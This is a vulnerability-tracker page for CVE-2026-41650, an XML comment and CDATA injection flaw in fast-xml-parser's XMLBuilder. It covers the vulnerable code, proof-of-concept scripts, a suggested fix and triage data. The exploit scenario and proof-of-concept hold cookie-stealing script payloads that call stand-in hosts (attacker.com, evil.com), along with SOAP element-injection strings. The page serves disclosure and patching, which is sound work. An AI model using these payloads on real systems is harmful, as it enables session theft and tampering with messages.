Skip to main content

fast-xml-parser CVE-2026-41650

MEDIUM
XML Injection (aka Blind XPath Injection) (CWE-91)
2026-04-22 https://github.com/NaturalIntelligence/fast-xml-parser GHSA-gh4j-gqv2-49f6
6.1
CVSS 3.1 · Vendor: https://github.com/NaturalIntelligence/fast-xml-parser
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify XMLBuilder usage with user input
  2. Delivery
    Craft malicious payload with delimiter sequence
  3. Exploit
    Submit via comment or CDATA property
  4. Install
    XMLBuilder generates broken XML
  5. C2
    Injected element escapes context
  6. Execute
    Secondary parser/browser interprets injected code
  7. Impact
    XSS execution or XML manipulation succeeds

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization XPath query parameterization
Exploitation Conditions

Exploitation requires that the XMLBuilder is configured with commentPropName and/or cdataPropName options (non-default, optional settings), AND user-controlled or attacker-influenced data flows into those properties during XML generation, AND the generated XML is delivered to an XML parser, browser, or SOAP processor in a context where injected elements can be interpreted (browser-based RSS reader, SVG viewer, or SOAP processor that parses the output). If XMLBuilder is used only for internal backend XML generation not exposed to browsers or secondary parsers, practical exploitation impact is reduced. Exploitation does NOT require authentication to XMLBuilder itself; the vulnerability is in the output generation, not access control. The UI:R requirement means the injected XML must reach a user or automated system that processes it (e.g., visiting a malicious RSS feed link, opening an SVG attachment, or a SOAP client parsing the response).

Impact

CVSS 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) indicates network-exploitable injection requiring user interaction and affecting confidentiality and integrity across scope boundaries, but no availability impact. The presence of UI:R (user interaction required) significantly limits real-world exploitation; the attacker must convince a user to interact with injected content (click a malicious RSS feed link, open an SVG file, etc.) rather than achieving direct remote code execution. The vulnerability is confirmed by proof-of-concept code demonstrating successful injection in comment, CDATA, and SOAP scenarios. No public exploit code or CISA KEV listing identified, indicating limited widespread weaponization to date. Risk is highest for applications that dynamically generate XML (RSS feeds, SOAP messages, SVG graphics) from untrusted user input and deliver that XML to browsers or SOAP clients; lower risk in backend-only XML processing where output is not interpreted as executable content. The CVSS scope change (S:C) reflects that injection can affect systems beyond the immediate XML parser application.

Exploit ScenarioDerived

An attacker discovers that a web application generates RSS feeds using XMLBuilder with user-supplied article descriptions stored in CDATA sections. The attacker submits a crafted article description containing ]]><script>fetch('https://attacker.com/steal?c='+document.cookie)</script><![CDATA[, which breaks out of the CDATA context. When RSS subscribers import the feed into a web-based RSS reader, the injected script executes in the reader's browser context, stealing authentication cookies. Alternatively, an attacker exploits a SOAP-based API that incorporates user comments into SOAP message comments; by injecting --><soap:Body><Action>transferFunds</Action><Amount>999999</Amount></soap:Body><!--, they cause a secondary XML parser or SOAP processor to interpret the injected elements as legitimate SOAP actions.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 23, 2026

fast-xml-parser XMLBuilder fails to escape comment and CDATA delimiters when building XML from JavaScript objects, allowing XML injection via unescaped --> and ]]> sequences in user-controlled content. Attackers can inject malicious XML elements into comments or CDATA sections, enabling XSS attacks in browser contexts, SOAP message manipulation, RSS feed poisoning, or XML structure breakage. The vulnerability requires user interaction (UI:R) and affects only XMLBuilder output that includes user-controlled comments or CDATA; no public exploit code identified at time of analysis.

RemediationAI

Update fast-xml-parser to the patched version released by the vendor via GitHub security advisory GHSA-gh4j-gqv2-49f6 (https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6). The fix implements proper escaping of delimiter sequences: replace -- with &#45;&#45; in comments and replace ]]> with ]]]]><![CDATA[> to split CDATA across section boundaries. Until patching is possible, implement compensating controls: disable XMLBuilder's commentPropName and cdataPropName options if comment and CDATA generation from user input is not required (trade-off: loss of dynamic comment/CDATA support); sanitize user input before passing to XMLBuilder by explicitly removing or escaping -- and ]]> sequences (trade-off: potential data loss or modification of legitimate content); restrict XMLBuilder usage to non-user-controlled data only, using a separate sanitization layer for any user input destined for comments or CDATA; or isolate generated XML delivery to non-browser contexts if feasible (e.g., backend-to-backend SOAP, not HTML-embedded SVG).

Affected Packages

npm fast-xml-parser fix: 5.7.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

fast-xml-parser is a Node.js XML parser and builder library. The XMLBuilder component constructs XML documents from JavaScript objects without proper escaping of XML special sequences in comments and CDATA sections. The buildTextValNode() function in src/fxb.js (lines 442+) concatenates user input directly into comment (<!--${val}-->) and CDATA (<![CDATA[${val}]]>) delimiters without applying the replaceEntitiesValue() escaping function that correctly handles text and attribute content. Comments are terminated by the sequence -->, and CDATA sections by ]]>; injecting these unescaped strings breaks the intended XML structure. This is classified as CWE-91 (XML Injection) and affects the npm package fast-xml-parser across versions that do not implement delimiter escaping in XMLBuilder output generation.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/NaturalIntelligence/fast-xml-parser) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
SUSE MEDIUM
Red Hat 5.4 MEDIUM

Primary rating from Vendor (https://github.com/NaturalIntelligence/fast-xml-parser).

CVSS VectorVendor: https://github.com/NaturalIntelligence/fast-xml-parser

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch released
Apr 23, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 22, 2026 - 20:04 nvd
MEDIUM 6.1

DescriptionCVE.org

fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

Summary

fast-xml-parser XMLBuilder does not escape the --> sequence in comment content or the ]]> sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.

Existing CVEs for fast-xml-parser cover different issues:

  • CVE-2023-26920: Prototype pollution (parser)
  • CVE-2023-34104: ReDoS (parser)
  • CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder
  • CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities

This finding covers unescaped comment/CDATA delimiters in XMLBuilder - a distinct vulnerability.

Vulnerable Code

File: src/fxb.js

javascript
// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
    // ...
    if (key === this.options.commentPropName) {
        return this.indentate(level) + `<!--${val}-->` + this.newLine;  // VULNERABLE
    }
    // ...
    if (key === this.options.cdataPropName) {
        return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine;  // VULNERABLE
    }
}

Compare with attribute/text escaping which IS properly handled via replaceEntitiesValue().

Proof of Concept

Test 1: Comment Injection (XSS in SVG/HTML context)

javascript
import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true,
  suppressEmptyNode: true
});

const xml = {
  root: {
    "#comment": "--><script>alert('XSS')</script><!--",
    data: "legitimate content"
  }
};

console.log(builder.build(xml));

Output:

xml
<root>
  <!----><script>alert('XSS')</script><!---->
  <data>legitimate content</data>
</root>

Test 2: CDATA Injection (RSS feed)

javascript
const builder = new XMLBuilder({
  cdataPropName: "#cdata",
  format: true,
  suppressEmptyNode: true
});

const rss = {
  rss: { channel: { item: {
    title: "Article",
    description: {
      "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
    }
  }}}
};

console.log(builder.build(rss));

Output:

xml
<rss>
  <channel>
    <item>
      <title>Article</title>
      <description>
        <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
      </description>
    </item>
  </channel>
</rss>

Test 3: SOAP Message Injection

javascript
const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true
});

const soap = {
  "soap:Envelope": {
    "soap:Body": {
      "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
      Action: "getBalance",
      UserId: "12345"
    }
  }
};

console.log(builder.build(soap));

Output:

xml
<soap:Envelope>
  <soap:Body>
    <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
    <Action>getBalance</Action>
    <UserId>12345</UserId>
  </soap:Body>
</soap:Envelope>

The injected <Action>deleteAll</Action> appears as a real SOAP action element.

Tested Output

All tests run on Node.js v22, fast-xml-parser v5.5.12:

1. COMMENT INJECTION:
   Injection successful: true

2. CDATA INJECTION (RSS feed scenario):
   Injection successful: true

4. Round-trip test:
   Injection present: true

5. SOAP MESSAGE INJECTION:
   Contains injected Action: true

Impact

An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:

  1. XSS: Inject <script> tags into XML/SVG/HTML documents served to browsers
  2. SOAP injection: Modify SOAP message structure by injecting XML elements
  3. RSS/Atom feed poisoning: Inject scripts into RSS feed items via CDATA breakout
  4. XML document manipulation: Break XML structure by escaping comment/CDATA context

This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).

Suggested Fix

Escape delimiters in comment and CDATA content:

javascript
// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
    const safeVal = String(val).replace(/--/g, '&#45;&#45;');
    return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}

// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
    const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
    return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

pkg:npm/fast-xml-parser
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
SUSE Linux Enterprise Server 16.0 Fixed
SUSE Linux Enterprise Server 16.1 Fixed
SUSE Linux Enterprise Server for SAP applications 16.0 Fixed
SUSE Linux Enterprise Server for SAP applications 16.1 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy